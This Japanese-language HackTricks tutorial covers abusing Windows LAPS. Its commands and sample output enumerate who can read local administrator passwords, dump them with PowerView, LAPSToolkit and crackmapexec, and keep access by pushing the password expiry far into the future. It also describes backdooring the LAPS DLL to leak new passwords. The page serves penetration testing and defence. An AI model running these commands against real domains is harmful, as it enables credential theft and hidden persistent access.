11 KiB
LAPS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください、私たちの独占的なNFTのコレクション
- 公式のPEASS&HackTricks swagを手に入れましょう
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm.
- **ハッキングのトリックを共有するために、hacktricks repoとhacktricks-cloud repo**にPRを提出してください。
基本情報
LAPSを使用すると、ドメインに参加しているコンピュータのローカル管理者パスワード(ランダム化、一意で定期的に変更される)を管理できます。これらのパスワードはActive Directoryに集中的に保存され、ACLを使用して認可されたユーザーに制限されます。パスワードは、クライアントからサーバーへの転送時にKerberos v5とAESを使用して保護されます。
LAPSを使用すると、ドメインのコンピュータオブジェクトには2つの新しい属性が表示されます:ms-mcs-AdmPwd
とms-mcs-AdmPwdExpirationTime
。これらの属性には平文の管理者パスワードと有効期限が含まれています。そのため、ドメイン環境では、これらの属性を読み取ることができるユーザーを確認することが興味深いかもしれません。
アクティベートされているかどうかを確認する
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
dir "C:\Program Files\LAPS\CSE"
# Check if that folder exists and contains AdmPwd.dll
# Find GPOs that have "LAPS" or some other descriptive term in the name
Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl
# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname
LAPSパスワードのアクセス
\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol
からLAPSポリシーの生データをダウンロードし、GPRegistryPolicyParserパッケージの**Parse-PolFile
**を使用して、このファイルを人間が読める形式に変換することができます。
さらに、ネイティブのLAPS PowerShellコマンドレットを使用することもできます(アクセス可能なマシンにインストールされている場合)。
Get-Command *AdmPwd*
CommandType Name Version Source
----------- ---- ------- ------
Cmdlet Find-AdmPwdExtendedRights 5.0.0.0 AdmPwd.PS
Cmdlet Get-AdmPwdPassword 5.0.0.0 AdmPwd.PS
Cmdlet Reset-AdmPwdPassword 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdAuditing 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdComputerSelfPermission 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdReadPasswordPermission 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdResetPasswordPermission 5.0.0.0 AdmPwd.PS
Cmdlet Update-AdmPwdADSchema 5.0.0.0 AdmPwd.PS
# List who can read LAPS password of the given OU
Find-AdmPwdExtendedRights -Identity Workstations | fl
# Read the password
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
PowerViewを使用して、パスワードを読み取ることができる人とその内容を調べることもできます。
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
# Read the password
Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
LAPSToolkit
LAPSToolkitは、いくつかの機能を備えたLAPSの列挙を容易にします。
そのうちの1つは、LAPSが有効なすべてのコンピューターに対して**ExtendedRights
を解析することです。これにより、LAPSパスワードを読むために特に委任されたグループが表示されます。これらのグループは、通常、保護されたグループのユーザーです。
ドメインにコンピューターを参加させたアカウントは、そのホストに対してAll Extended Rights
を受け取ります。この権限により、アカウントはパスワードを読むことができます**。列挙により、ホスト上のLAPSパスワードを読むことができるユーザーアカウントが表示される場合があります。これにより、LAPSパスワードを読むことができる特定のADユーザーをターゲットにすることができます。
# Get groups that can read passwords
Find-LAPSDelegatedGroups
OrgUnit Delegated Groups
------- ----------------
OU=Servers,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\Domain Admins
OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\LAPS Admin
# Checks the rights on each computer with LAPS enabled for any groups
# with read access and users with "All Extended Rights"
Find-AdmPwdExtendedRights
ComputerName Identity Reason
------------ -------- ------
MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\Domain Admins Delegated
MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\LAPS Admins Delegated
# Get computers with LAPS enabled, expirations time and the password (if you have access)
Get-LAPSComputers
ComputerName Password Expiration
------------ -------- ----------
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
Crackmapexecを使用してLAPSパスワードをダンプする
PowerShellへのアクセスがない場合、LDAPを介してこの特権を乱用することができます。以下のコマンドを使用します。
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
これにより、ユーザーが読み取れるすべてのパスワードがダンプされ、異なるユーザーでより良い立場を得ることができます。
LAPS持続性
有効期限日
管理者になると、パスワードを取得し、マシンがパスワードを更新しないようにするために、有効期限日を将来に設定することが可能です。
# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
# Change expiration time
## It's needed SYSTEM on the computer
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
{% hint style="warning" %}
管理者が Reset-AdmPwdPassword
コマンドレットを使用する場合、または LAPS GPO で ポリシーで要求されるよりも長いパスワードの有効期限を許可しない が有効になっている場合、パスワードはリセットされます。
{% endhint %}
バックドア
LAPSの元のソースコードはここで見つけることができます。そのため、コード内(たとえば Main/AdmPwd.PS/Main.cs
の Get-AdmPwdPassword
メソッド内)に、新しいパスワードを何らかの方法で外部に送信したり、どこかに保存したりするバックドアを設置することが可能です。
その後、新しい AdmPwd.PS.dll
をコンパイルし、マシンの C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll
にアップロードします(修正日時も変更します)。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricks で会社を宣伝したいですか?または、PEASSの最新バージョンやHackTricksのPDFをダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksグッズを手に入れましょう。
- 💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、hacktricksのリポジトリとhacktricks-cloudのリポジトリにPRを提出してください。